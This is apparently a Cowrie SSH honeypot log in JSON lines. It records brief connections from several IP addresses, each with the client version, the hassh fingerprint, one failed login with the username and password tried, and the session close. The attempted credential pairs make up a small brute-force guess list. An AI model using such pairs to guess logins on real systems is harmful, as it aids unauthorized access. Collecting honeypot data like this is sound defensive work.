{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:57:04.980282Z","src_ip":"195.178.110.218","session":"7249b3407ed8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:57:05.217691Z","src_ip":"195.178.110.218","session":"7249b3407ed8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:57:06.299128Z","src_ip":"195.178.110.218","session":"7249b3407ed8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.117.56.152","src_port":38074,"dst_ip":"159.203.135.109","dst_port":22,"session":"da05c062c4fd","protocol":"ssh","message":"New connection: 103.117.56.152:38074 (159.203.135.109:22) [session: da05c062c4fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:57:19.899681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:57:19.904351Z","src_ip":"103.117.56.152","session":"da05c062c4fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:57:20.145086Z","src_ip":"103.117.56.152","session":"da05c062c4fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"superman","password":"1234","message":"login attempt [superman/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:57:21.143415Z","src_ip":"103.117.56.152","session":"da05c062c4fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:57:22.387516Z","src_ip":"103.117.56.152","session":"da05c062c4fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":53760,"dst_ip":"159.203.135.109","dst_port":22,"session":"557fb847cf93","protocol":"ssh","message":"New connection: 2.57.122.210:53760 (159.203.135.109:22) [session: 557fb847cf93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:58:40.840198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:58:40.844632Z","src_ip":"2.57.122.210","session":"557fb847cf93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:58:40.944072Z","src_ip":"2.57.122.210","session":"557fb847cf93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"fdcl","message":"login attempt [sol/fdcl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:58:41.242644Z","src_ip":"2.57.122.210","session":"557fb847cf93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:58:42.342864Z","src_ip":"2.57.122.210","session":"557fb847cf93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.26.135.100","src_port":37514,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fe3874e492d","protocol":"ssh","message":"New connection: 20.26.135.100:37514 (159.203.135.109:22) [session: 7fe3874e492d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:58:58.814493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:58:58.818495Z","src_ip":"20.26.135.100","session":"7fe3874e492d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:58:58.908883Z","src_ip":"20.26.135.100","session":"7fe3874e492d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"noreply","password":"noreply123","message":"login attempt [noreply/noreply123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:58:59.291288Z","src_ip":"20.26.135.100","session":"7fe3874e492d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:59:00.378865Z","src_ip":"20.26.135.100","session":"7fe3874e492d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.245.201.162","src_port":31427,"dst_ip":"159.203.135.109","dst_port":22,"session":"c74f50ef14f6","protocol":"ssh","message":"New connection: 201.245.201.162:31427 (159.203.135.109:22) [session: c74f50ef14f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:59:00.550232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:59:00.554772Z","src_ip":"201.245.201.162","session":"c74f50ef14f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:59:00.646390Z","src_ip":"201.245.201.162","session":"c74f50ef14f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"modify","password":"12345678","message":"login attempt [modify/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:59:01.043506Z","src_ip":"201.245.201.162","session":"c74f50ef14f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:59:02.137152Z","src_ip":"201.245.201.162","session":"c74f50ef14f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.225.246.102","src_port":54826,"dst_ip":"10.17.0.5","dst_port":22,"session":"da8f50f8b458","protocol":"ssh","message":"New connection: 200.225.246.102:54826 (10.17.0.5:22) [session: da8f50f8b458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:59:07.046970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:59:07.052024Z","src_ip":"200.225.246.102","session":"da8f50f8b458","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:59:07.183218Z","src_ip":"200.225.246.102","session":"da8f50f8b458","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"terraria","password":"terrariaterraria","message":"login attempt [terraria/terrariaterraria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:59:07.729266Z","src_ip":"200.225.246.102","session":"da8f50f8b458","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:59:08.861332Z","src_ip":"200.225.246.102","session":"da8f50f8b458","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.152.101","src_port":35646,"dst_ip":"159.203.135.109","dst_port":22,"session":"df5d098159d6","protocol":"ssh","message":"New connection: 103.52.152.101:35646 (159.203.135.109:22) [session: df5d098159d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:59:12.612746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:59:12.617581Z","src_ip":"103.52.152.101","session":"df5d098159d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:59:12.831056Z","src_ip":"103.52.152.101","session":"df5d098159d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testsftp","password":"testsftp123!","message":"login attempt [testsftp/testsftp123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:59:13.734251Z","src_ip":"103.52.152.101","session":"df5d098159d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:59:14.960018Z","src_ip":"103.52.152.101","session":"df5d098159d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.117.56.152","src_port":60616,"dst_ip":"159.203.135.109","dst_port":22,"session":"61c41e5c540e","protocol":"ssh","message":"New connection: 103.117.56.152:60616 (159.203.135.109:22) [session: 61c41e5c540e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:59:33.621095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:59:33.625156Z","src_ip":"103.117.56.152","session":"61c41e5c540e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:59:33.866864Z","src_ip":"103.117.56.152","session":"61c41e5c540e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"travis","password":"Travis123","message":"login attempt [travis/Travis123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:59:34.901375Z","src_ip":"103.117.56.152","session":"61c41e5c540e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:59:36.143545Z","src_ip":"103.117.56.152","session":"61c41e5c540e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":57812,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c91ac8f5603","protocol":"ssh","message":"New connection: 195.178.110.218:57812 (159.203.135.109:22) [session: 1c91ac8f5603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:59:52.685714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:59:52.689882Z","src_ip":"195.178.110.218","session":"1c91ac8f5603","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:59:52.765206Z","src_ip":"195.178.110.218","session":"1c91ac8f5603","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:59:52.990080Z","src_ip":"195.178.110.218","session":"1c91ac8f5603","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:59:54.067394Z","src_ip":"195.178.110.218","session":"1c91ac8f5603","protocol":"ssh"}
